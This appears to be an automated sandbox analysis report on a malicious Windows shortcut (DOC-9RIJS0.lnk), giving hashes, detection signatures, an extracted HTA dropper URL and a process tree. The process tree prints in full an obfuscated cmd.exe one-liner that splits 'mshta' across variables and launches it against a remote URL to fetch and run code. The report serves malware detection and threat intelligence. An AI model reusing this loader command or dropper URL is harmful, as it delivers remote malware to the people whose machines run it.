Analysis
- max time kernel
148s - max time network
116s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:05
Static task
static1
Behavioral task
behavioral1
Sample
DOC-9RIJS0.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-9RIJS0.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-9RIJS0.lnk
- Size 1KB
- Sample260803-qbppcsbn31
- SHA256 2384d1fad734d7b1efcae8e2f9e6167116537b06f46a3830c39dfbd85f86bbe7
- MD5 35f89f26563a9c784ec4ca1a5def318e
- SHA1 af7ce4513f9ea92d5f4becae19f3befb36ddc3f2
- SHA512 53287ebe84f69a1bb8457fe3d10da20e125a3ab8ba863b2c368b718b0a09d4d56ee767db55645a534fd08306771980d7165fd21946d4c7aff8ca14b4b0973cbe
- TLSH T1563176503FFA0664F3F78E7388BB5B1089BBB9668E20CA1E0145464C5432A15E17BF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4696 cmd.exe 5844 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4696 wrote to memory of 5844 4696 cmd.exe 90 PID 5844 wrote to memory of 4148 5844 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-9RIJS0.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4696 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set Utrx=msh&&set euA=ta&&start "" !Utrx!!euA! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5844 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:4148
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